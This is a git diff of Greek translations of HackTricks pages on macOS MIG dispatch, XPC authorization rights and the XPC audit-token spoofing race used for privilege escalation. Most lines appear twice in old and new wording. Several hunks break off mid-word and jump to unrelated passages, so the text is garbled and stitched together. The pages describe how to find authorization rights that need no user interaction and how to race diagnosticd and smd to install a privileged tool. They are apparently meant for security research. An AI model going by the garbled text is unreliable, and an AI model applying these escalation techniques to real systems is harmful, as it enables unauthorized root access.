Ελέγξτε τις προηγουμένως επισημασμένες γραμμές πρόσβασης στη συνάρτηση που θα κληθεί με βάση το αναγνωριστικό.
Παρακάτω είναι ο κώδικας για τη δημιουργία ενός απλού **διακομιστή** και **πελάτη** όπου ο πελάτης μπορεί να καλέσει τις λειτουργίες αφαίρεσης από το διακομιστή:
Παρακάτω είναι ο κώδικας για τη δημιουργία ενός απλού **διακομιστή** και **πελάτη** όπου ο πελάτης μπορεί να καλέσει τις λειτουργίες Αφαίρεση από το διακομιστή:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -203,13 +203,13 @@ USERPREFSubtract(port, 40, 2);
```
### Ανάλυση Δυαδικών Αρχείων
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν πλέον το MIG για να αποκαλύπτουν θύρες mach, είναι ενδιαφέρον να γνωρίζουμε πώς να **αναγνωρίσουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε αναγνωριστικό μηνύματος.
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν πλέον το MIG για να αποκαλύπτουν θύρες mach, είναι ενδιαφέρον να γνωρίζουμε πώς να **αναγνωρίζουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε αναγνωριστικό μηνύματος.
Το [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύσει πληροφορίες MIG από ένα δυαδικό αρχείο Mach-O, ενδεικτικά του αναγνωριστικού μηνύματος και της αναγνώρισης της λειτουργίας προς εκτέλεση:
Το [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύει πληροφορίες MIG από ένα δυαδικό αρχείο Mach-O, ενδεικτικά του αναγνωριστικού μηνύματος και της αναγνώρισης της λειτουργίας προς εκτέλεση:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Ήταν προηγουμένως αναφερόμενο ότι η λειτουργία που θα αναλάβει το **να καλέσει τη σωστή λειτουργία ανάλογα με το αναγνωριστικό μηνύματος που λαμβάνεται** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (καμία ονομασία λειτουργιών), επομένως είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυναρμολογημένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της λειτουργίας είναι ανεξάρτητος από τις εκτεθειμένες λειτουργίες):
Ήδη αναφέρθηκε ότι η λειτουργία που θα αναλάβει το **κάλεσμα της σωστής λειτουργίας ανάλογα με το αναγνωριστικό μηνύματος που λαμβάνεται** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (καμία ονομασία λειτουργιών), επομένως είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυναρμολογημένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της λειτουργίας είναι ανεξάρτητος από τις εκτεθειμένες λειτουργίες):
{% tabs %}
{% tab title="myipc_server αποσυναρμολογημένο 1" %}
@ -238,7 +238,7 @@ rax = *(int32_t *)(var_10 + 0x14);
var_4 = 0x0;
}
else {
// Υπολογισμένη διεύθυνση που καλεί την κατάλληλη λειτουργία με 2 ορίσματα
// Υπολογισμένη διεύθυνση που καλεί τη σωστή λειτουργία με 2 ορίσματα
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -332,10 +332,12 @@ return r0;
Πράγματι, αν πάτε στη λειτουργία **`0x100004000`** θα βρείτε τον πίνακα των δομών **`routine_descriptor`**. Το πρώτο στοιχείο της δομής είναι η **διεύθυνση** όπου η **λειτουργία** υλοποιείται, και η **δομή παίρνει 0x28 bytes**, οπότε κάθε 0x28 bytes (ξεκινώντας από το byte 0) μπορείτε να πάρετε 8 bytes και αυτό θα είναι η **διεύθυνση της λειτουργίας** που θα κληθεί:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αυτά τα δεδομένα μπορούν να εξαχθούν [**χρησιμοποιώντας αυτό το σενάριο Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Συμμετέχετε** στο 💬 [**Ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή το [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,9 +14,9 @@
</details>
## Εξουσιοδότηση XPC
## XPC Εξουσιοδότηση
Η Apple προτείνει επίσης έναν άλλο τρόπο επαλήθευσης εάν η συνδεόμενη διαδικασία έχει **δικαιώματα να καλέσει μια εκτεθειμένη μέθοδο XPC**.
Η Apple προτείνει επίσης έναν άλλο τρόπο ελέγχου εάν η συνδεόμενη διαδικασία έχει **δικαιώματα να καλέσει μια εκτεθειμένη μέθοδο XPC**.
Όταν μια εφαρμογή χρειάζεται να **εκτελέσει ενέργειες ως προνομιούχος χρήστης**, αντί να εκτελεί την εφαρμογή ως προνομιούχος χρήστης, συνήθως εγκαθιστά ως ριζικό ένα HelperTool ως υπηρεσία XPC που μπορεί να κληθεί από την εφαρμογή για να εκτελέσει αυτές τις ενέργειες. Ωστόσο, η εφαρμογή που καλεί την υπηρεσία πρέπει να έχει επαρκή εξουσιοδότηση.
@ -49,8 +49,8 @@ return YES;
Ωστόσο, όταν καλείται μια μέθοδος από το HelperTool, υπάρχει κάποια **εξουσιοδότηση**.
Η συνάρτηση **`applicationDidFinishLaunching`** από το `App/AppDelegate.m` θα δημιουργήσει μια κενή αναφορά εξουσιοδότησης αφού η εφαρμογή έχει ξεκινήσει. Αυτό θα πρέπει να λειτουργεί πάντα.\
Στη συνέχεια, θα προσπαθήσει να **προσθέσει κάποια δικαιώματα** σε αυτήν την αναφορά εξουσιοδότησης καλώντας το `setupAuthorizationRights`:
Η συνάρτηση **`applicationDidFinishLaunching`** από το `App/AppDelegate.m` θα δημιουργήσει μια κενή αναφορά εξουσιοδότησης αφού η εφαρμογή έχει ξεκινήσει. Αυτό πρέπει να λειτουργεί πάντα.\
Στη συνέχεια, θα προσπαθήσει να **προσθέσει κάποια δικαιώματα** σε αυτήν την αναφορά εξουσιοδότησης καλώντας την `setupAuthorizationRights`:
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
Η λειτουργία `enumerateRightsUsingBlock` είναι αυτή που χρησιμοποιείται για να λάβετε τα δικαιώματα εφαρμογών, τα οποία ορίζονται στο `commandInfo`:
Η λειτουργία `enumerateRightsUsingBlock` είναι αυτή που χρησιμοποιείται για τη λήψη των δικαιωμάτων εφαρμογών, τα οποία ορίζονται στο `commandInfo`:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -184,7 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε π
Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε ότι μπορείτε να βρείτε για **κάθε μέθοδο** που απαιτεί **πιστοποίηση**, το **όνομα άδειας** και το **`kCommandKeyAuthRightDefault`**. Το τελευταίο **υποδηλώνει ποιος μπορεί να λάβει αυτήν την άδεια**.
Υπάρχουν διαφορετικές εμβέλειες για να υποδείξουν ποιος μπορεί να έχει πρόσβαση σε μια άδεια. Κάποιες από αυτές ορίζονται στο [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (μπορείτε να βρείτε [όλες εδώ](https://www.dssw.co.uk/reference/authorization-rights/)), αλλά συνοψίζοντας:
<table><thead><tr><th width="284.3333333333333">Όνομα</th><th width="165">Τιμή</th><th>Περιγραφή</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Οποιοσδήποτε</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Κανείς</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Ο τρέχων χρήστης πρέπει να είναι διαχειριστής (μέλος της ομάδας διαχειριστών)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Ζητήστε από τον χρήστη να πιστοποιηθεί.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Ζητήστε από τον χρήστη να πιστοποιηθεί. Πρέπει να είναι διαχειριστής (μέλος της ομάδας διαχειριστών)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Καθορίστε κανόνες</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Καθορίστε κάποια επιπλέον σχόλια για την άδεια</td></tr></tbody></table>
### Επαλήθευση Δικαιωμάτων
Στο `HelperTool/HelperTool.m` η συνάρτηση **`readLicenseKeyAuthorization`** ελέγχει αν ο καλούντας έχει δικαίωμα να **εκτελέσει μια τέτοια μέθοδο** καλώντας τη συνάρτηση **`checkAuthorization`**. Αυτή η συνάρτηση θα ελέγξει αν τα **authData** που στέλνει η καλούσα διαδικασία έχουν τη **σωστή μορφή** και στη συνέχεια θα ελέγξει **τι απαιτείται για να αποκτήσει το δικαίωμα** να καλέσει τη συγκεκριμένη μέθοδο. Αν όλα πάνε καλά, το **επιστρεφόμενο `σφάλμα` θα είναι `nil`**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -250,17 +258,17 @@ security authorizationdb read com.apple.safaridriver.allow
```
### Δικαιώματα ελέγχου
Μπορείτε να βρείτε **όλι τις διαμορφώσεις δικαιωμάτων** [**εδώ**](https://www.dssw.co.uk/reference/authorization-rights/), αλλά οι συνδυασμοί που δεν απαιτούν αλληλεπίδραση με τον χρήστη θα είναι:
Μπορείτε να βρείτε **όλες τις διαμορφώσεις δικαιωμάτων** [**εδώ**](https://www.dssw.co.uk/reference/authorization-rights/), αλλά οι συνδυασμοί που δεν απαιτούν αλληλεπίδραση με τον χρήστη θα είναι:
1. **'authenticate-user': 'false'**
* Αυτό είναι το πιο άμεσο κλειδί. Εάν οριστεί σε `false`, υποδηλώνει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα.
* Χρησιμοποιείται σε **συνδυασμό με ένα από τα 2 παρακάτω ή υποδεικνύοντας μια ομάδα** στην οποία πρέπει να ανήκει ο χρήστης.
2. **'allow-root': 'true'**
* Εάν ένας χρήστης λειτουργεί ως ριζικός χρήστης (που έχει αυξημένα δικαιώματα) και αυτό το κλειδί έχει οριστεί σε `true`, ο ριζικός χρήστης θα μπορούσε πιθανόν να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η επίτευξη κατάστασης ριζικού χρήστη ήδη απαιτεί πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
* Εάν ένας χρήστης λειτουργεί ως ριζικός χρήστης (που έχει υψηλά δικαιώματα) και αυτό το κλειδί ορίζεται σε `true`, ο ριζικός χρήστης θα μπορούσε πιθανότατα να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η επίτευξη κατάστασης ριζικού χρήστη ήδη απαιτεί πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
3. **'session-owner': 'true'**
* Εάν οριστεί σε `true`, ο ιδιοκτήτης της συνεδρίας (ο χρήστης που έχει συνδεθεί επί του παρόντος) θα αποκτήσει αυτόματα αυτό το δικαίωμα. Αυτό ενδέχεται να παρακάμψει επιπλέον πιστοποίηση εάν ο χρήστης έχει ήδη συνδεθεί.
4. **'shared': 'true'**
* Αυτό το κλειδί δεν χορηγεί δικαιώματα χωρίς πιστοποίηση. Αντίθετα, εάν οριστεί σε `true`, σημαίνει ότι αφού το δικαίωμα έχει πιστοποιηθεί μπορεί να μοιραστεί μεταξύ πολλαπλών διεργασιών χωρίς κάθε μία να χρειάζεται να επαναπιστοποιηθεί. Ωστόσο, η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός εάν συνδυαστεί με άλλα κλειδιά όπως `'authenticate-user': 'false'`.
* Αυτό το κλειδί δεν χορηγεί δικαιώματα χωρίς πιστοποίηση. Αντίθετα, εάν οριστεί σε `true`, σημαίνει ότι αφού έχει πιστοποιηθεί το δικαίωμα, μπορεί να μοιραστεί μεταξύ πολλαπλών διεργασιών χωρίς κάθε μία να χρειάζεται να επαναπιστοποιηθεί. Ωστόσο, η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός εάν συνδυαστεί με άλλα κλειδιά όπως `'authenticate-user': 'false'`.
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -275,23 +283,23 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
### Έλεγχος αν χρησιμοποιείται το EvenBetterAuthorization
Αν βρείτε τη συνάρτηση: **`[HelperTool checkAuthorization:command:]`** πιθανόν η διαδικασία χρησιμοποιεί το σχήμα που αναφέρθηκε προηγουμένως για την εξουσιοδότηση:
Αν βρείτε τη συνάρτηση: **`[HelperTool checkAuthorization:command:]`** πιθανόν η διαδικασία χρησιμοποιεί το προηγούμενα αναφερθέν σχήμα για εξουσιοδότηση:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Σε αυτή την περίπτωση, αν αυτή η συνάρτηση καλεί συναρτήσεις όπως `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, χρησιμοποιεί το [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Στη συνέχεια, αν αυτή η συνάρτηση καλεί συναρτήσεις όπως `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, χρησιμοποιεί το [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Ελέγξτε το **`/var/db/auth.db`** για να δείτε αν είναι δυνατή η λήψη δικαιωμάτων για να καλέσετε κάποια προνομιούχη ενέργεια χωρίς αλληλεπίδραση με τον χρήστη.
### Επικοινωνία Πρωτοκόλλου
Στη συνέχεια, πρέπει να βρείτε το πρωτόκολλο σχήματος προκειμένου να μπορέσετε να καθιερώσετε μια επικοινωνία με την υπηρεσία XPC.
Στη συνέχεια, πρέπει να βρείτε το σχήμα πρωτοκόλλου για να μπορέσετε να καθιερώσετε μια επικοινωνία με την υπηρεσία XPC.
Η συνάρτηση **`shouldAcceptNewConnection`** υποδηλώνει το πρωτόκολλο που εξάγεται:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Σε αυτή την περίπτωση, έχουμε το ίδιο με το EvenBetterAuthorizationSample, [**ελέγξτε αυτή τη γραμμή**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Σε αυτήν την περίπτωση, έχουμε το ίδιο με το EvenBetterAuthorizationSample, [**ελέγξτε αυτήν τη γραμμή**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατόν να **ανακτήσετε τον ορισμό της κεφαλίδας του** με:
```bash
@ -307,11 +315,11 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end
[...]
```
Τέλος, χρειάζεται να γνωρίζουμε το **όνομα της εκτεθειμένης Υπηρεσίας Mach** για να εγκαθιδρύσουμε μια επικοινωνία μαζί της. Υπάρχουν διάφοροι τρόποι να το βρούμε:
Τέλος, χρειάζεται να γνωρίζουμε το **όνομα της εκθεσμένης Υπηρεσίας Mach** για να εγκαθιδρύσουμε μια επικοινωνία μαζί της. Υπάρχουν διάφοροι τρόποι για να το βρούμε:
* Στο **`[HelperTool init()]`** όπου μπορείτε να δείτε την Υπηρεσία Mach που χρησιμοποιείται:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Στο launchd plist:
```xml
@ -328,7 +336,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
```
### Παράδειγμα Εκμετάλλευσης
Σε αυτό το παράδειγμα δημιουργείται:
Σε αυτό το παράδειγμα δημιουργούνται:
* Η ορισμός του πρωτοκόλλου με τις συναρτήσεις
* Ένα κενό auth για να ζητηθεί πρόσβαση
@ -417,7 +425,7 @@ NSLog(@"Finished!");
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks για το AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -25,11 +25,11 @@
{% endcontent-ref %}
Προς το παρόν, θυμηθείτε ότι ([ορισμός από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Τα μηνύματα Mach στέλνονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη, πολλαπλούς αποστολείς** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλαπλές διεργασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά ανά πάσα στιγμή **μόνο μια διεργασία μπορεί να το διαβάσει**. Όπως και με τους περιγραφείς αρχείων και τις υποδοχές, τα mach ports εκχωρούνται και διαχειρίζονται από τον πυρήνα και οι διεργασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποιο από τα mach ports τους θέλουν να χρησιμοποιήσουν.
Τα μηνύματα Mach στέλνονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη και πολλούς αποστολείς** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διεργασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά ανά πάσα στιγμή **μόνο μια διεργασία μπορεί να το διαβάσει**. Όπως και με τους περιγραφείς αρχείων και τις υποδοχές, τα mach ports εκχωρούνται και διαχειρίζονται από τον πυρήνα και οι διεργασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποια από τα mach ports τους θέλουν να χρησιμοποιήσουν.
## XPC Σύνδεση
Αν δεν ξέρετε πώς δημιουργείται μια σύνδεση XPC, ελέγξτε:
Αν δεν ξέρετε πώς δημιουργείται μια XPC σύνδεση ελέγξτε:
{% content-ref url="../" %}
[..](../)
@ -37,11 +37,11 @@
## Σύνοψη Ευπάθειας
Αυτό που είναι ενδιαφέρον για εσάς να γνωρίζετε είναι ότι **η αφαίρεση του XPC είναι μια σύνδεση μια προς ένα**, αλλά βασίζεται σε μια τεχνολογία που **μπορεί να έχει πολλούς αποστολείς, έτσι:**
Αυτό που είναι ενδιαφέρον για εσάς να γνωρίζετε είναι ότι **η αφαίρεση του XPC είναι μια σύνδεση μιας προς μια**, αλλά βασίζεται σε μια τεχνολογία που **μπορεί να έχει πολλούς αποστολείς, έτσι:**
* Τα mach ports είναι μοναδικοί παραλήπτες, **πολλαπλοί αποστολείς**.
* Το audit token μιας σύνδεσης XPC είναι το audit token που **αντιγράφεται από το πιο πρόσφατα ληφθέν μήνυμα**.
* Η λήψη του **audit token** μιας σύνδεσης XPC είναι κρίσιμη για πολλούς **έλεγχους ασφαλείας**.
* Τα mach ports έχουν έναν μόνο παραλήπτη, **πολλούς αποστολείς**.
* Το audit token μιας XPC σύνδεσης είναι το audit token που **αντιγράφεται από το πιο πρόσφατα ληφθέν μήνυμα**.
* Η λήψη του **audit token** μιας XPC σύνδεσης είναι κρίσιμη για πολλούς **έλεγχους ασφαλείας**.
Παρόλο που η προηγούμενη κατάσταση ακούγεται ελπιδοφόρα, υπάρχουν κάποια σενάρια όπου αυτό δεν θα προκαλέσει προβλήματα ([από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
@ -51,17 +51,17 @@
Δύο διαφορετικές μεθόδοι με τις οποίες μπορεί να εκμεταλλευτεί αυτό:
1. Παραλλαγή 1:
* **Η εκμετάλλευση συνδέεται** με την υπηρεσία **A** και την υπηρεσία **B**
* Η **εκμετάλλευση** συνδέεται με την υπηρεσία **A** και την υπηρεσία **B**
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
* Η υπηρεσία **A** καλεί το **`xpc_connection_get_audit_token`** ενώ _**δεν**_ βρίσκεται μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε ένα **`dispatch_async`**.
* Έτσι ένα **διαφορετικό** μήνυμα θα μπορούσε να **αντικαταστήσει το Audit Token** επειδή αποστέλλεται ασύγχρονα έξω από τον χειριστή γεγονότων.
* Η εκμετάλλευση περνά στην **υπηρεσία B το SEND right στην υπηρεσία A**.
* Έτσι η υπηρεσία **B θα στέλνει πραγματικά τα μηνύματα** στην υπηρεσία **A**.
* Η **εκμετάλλευση** προσπαθεί να **καλέσει την προνομιούχα ενέργεια**. Σε μια RC η υπηρεσία **A ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ **η υπηρεσία B αντικατέστησε το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιούχα ενέργεια).
* Η **εκμετάλλευση** προσπαθεί να **καλέσει την προνομιούχα ενέργεια**. Σε μια RC η υπηρεσία **A ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ η **υπηρεσία B αντικατέστησε το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιούχα ενέργεια).
2. Παραλλαγή 2:
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
* Η εκμετάλλευση συνδέεται με την **υπηρεσία A** η οποία **στέλνει** στην εκμετάλλευση ένα μήνυμα που περιμένει μια απάντηση σε ένα συγκεκριμένο **replay port**.
* Η εκμετάλλευση στέλνει στην υπηρεσία **B ένα μήνυμα περνώντας** αυτήν την πόρτα απάντησης.
* Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία **A**, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικ
* Η εκμετάλλευση στέλνει στην υπηρεσία **B ένα μήνυμα περνώντας** αυτό το replay port.
* Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία **A**, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθ
4. Το επόμενο βήμα περιλαμβάνει την εντολή του `diagnosticd` να ξεκινήσει την παρακολούθηση ενός επιλεγμένου διεργασίας (ενδεχομένως τη δική του χρήστη). Ταυτόχρονα, στέλνεται ένας πλημμύρας κανονικών μηνυμάτων 1004 στο `smd`. Ο σκοπός εδώ είναι να εγκατασταθεί ένα εργαλείο με αυξημένα προνόμια.
5. Αυτή η ενέργεια ενεργοποιεί μια κατάσταση ανταγωνισμού μέσα στη λειτουργία `handle_bless`. Η χρονισμένη είναι κρίσιμη: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διεργασίας του χρήστη (καθώς το εργαλείο με τα προνόμια βρίσκεται στο δέμα εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, ειδικά μέσα στην υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο αναγνωριστικό ελέγχου που ανήκει στο `diagnosticd`.
5. Αυτή η ενέργεια ενεργοποιεί μια κατάσταση ανταγωνισμού μέσα στη λειτουργία `handle_bless`. Το χρονισμός είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διεργασίας του χρήστη (καθώς το εργαλείο με τα προνομιακά διαμένει στο δέμα εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, ειδικά μέσα στην υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο αυτενεργό τεκμήριο που ανήκει στο `diagnosticd`.

View file

@ -6,11 +6,11 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
